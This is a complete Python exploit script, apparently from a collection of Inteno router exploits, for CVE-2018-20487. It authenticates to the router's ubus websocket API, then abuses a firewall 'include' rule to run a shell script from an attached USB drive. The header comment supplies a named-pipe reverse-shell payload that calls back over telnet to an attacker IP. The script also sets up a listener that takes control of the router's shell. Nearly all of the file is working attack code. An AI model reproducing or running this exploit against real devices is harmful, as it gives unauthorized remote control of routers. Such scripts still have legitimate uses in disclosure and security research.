inteno-exploits/cve-2018-20487.py

#!/usr/bin/env python3

# Usage: cve-2018-20487.py <ip> <username> <password>
# Details: https://neonsea.uk/blog/2018/12/26/firewall-includes.html
# Please read through the following comments before attempting to use this exploit

"""
By default, this exploit requires a file called 'shell.sh' on the root of
a USB drive inserted into the target system. The file itself should include
the following:
"""

"""
#!/bin/sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet [ATTACKER IP] 1337 >/tmp/f
"""

"""
Make sure [ATTACKER IP] is replaced with the IP of the system which runs
the exploit. Furthermore, make sure port 1337 is not blocked on the attacking
system. This exploit also requires the module 'websocket-client', which
you can install via pip.
"""

import json
import sys
import socket
import os
from threading import Thread
from websocket import create_connection


def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [
                "00000000000000000000000000000000",
                "session",
                "login",
                {"username": username, "password": password},
            ],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        key = response.get("result")[1].get("ubus_rpc_session")
    except IndexError:
        return None
    return key


def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [key, namespace, argument, params],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        result = response.get("result")[1]
    except IndexError:
        if response.get("result")[0] == 0:
            return True
        return None
    return result


def shellReceiver(s):
    try:
        while 1:
            sys.stdout.write(s.recv(1024).decode("utf-8"))
            sys.stdout.flush()
    except socket.error as err:
        print(f"Error receiving data:\n{err}")
        sys.exit(1)


def shellListener():
    print("Waiting for shell...")
    try:
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.bind((socket.gethostname(), 1337))
        listener.listen(1)
        s, addr = listener.accept()

        print(f"Received connection from {addr[0]}\n")
        recv = Thread(target=shellReceiver, args=[s])
        recv.daemon = True
        try:
            recv.start()
            while 1:
                s.send(f"{input()}\n".encode("utf-8"))

        except (KeyboardInterrupt, EOFError):
            s.close()
            listener.close()
            return

    except socket.error as err:
        print(f"Unable to open listener:\n{err}")
        print("Use netcat or similar to listen to port 1337!")
        sys.exit(1)


def getArguments():
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <ip> <username> <password>")
        sys.exit(1)
    else:
        return sys.argv[1], sys.argv[2], sys.argv[3]


if __name__ == "__main__":
    host, user, pasw = getArguments()

    print(f"Authenticating as {user}...")
    key = ubusAuth(host, user, pasw)
    if not key:
        print("Auth failed!")
        sys.exit(1)
    print(f"Got key: {key}")

    print("Checking for shell.sh...")
    fsc = ubusCall(host, key, "router.system", "fs")
    if not fsc:
        print("Failed to get filesystem listing!")
        sys.exit(1)

    path = ""
    for fs in fsc.get("filesystem"):
        if fs.get("name")[:7] == "/dev/sd":
            testpath = f"{fs.get('mounted_on')}/shell.sh"
            if ubusCall(host, key, "file", "stat", {"path": testpath}):
                print(f"Got path: {testpath}")
                path = testpath
                break
    if not path:
        print("Failed to find shell.sh, is USB drive plugged in?")
        print("For further info, check the comments at the top of this file.")
        sys.exit(1)

    fwc = ubusCall(host, key, "uci", "get", {"config": "firewall", "section": "shell"})
    if not fwc:
        print("Failed to get firewall rule! Something's wrong, bailing out.")
        sys.exit(1)
    if fwc is not True:
        print("Removing previous shell firewall rule...")
        if not ubusCall(
            host, key, "uci", "delete", {"config": "firewall", "section": "shell"}
        ) or not ubusCall(host, key, "uci", "commit", {"config": "firewall"}):
            print("Failed to remove previous firewall rule, bailing out!")
            sys.exit(1)

    print("Adding shell firewall rule...")
    if not ubusCall(
        host,
        key,
        "uci",
        "add",
        {
            "config": "firewall",
            "type": "include",
            "name": "shell",
            "values": {"path": path, "reload": "1"},
        },
    ) or not ubusCall(host, key, "uci", "commit", {"config": "firewall"}):
        print("Failed to add shell firewall rule!")
        sys.exit(1)

    print("Exploitation complete!")
    shellListener()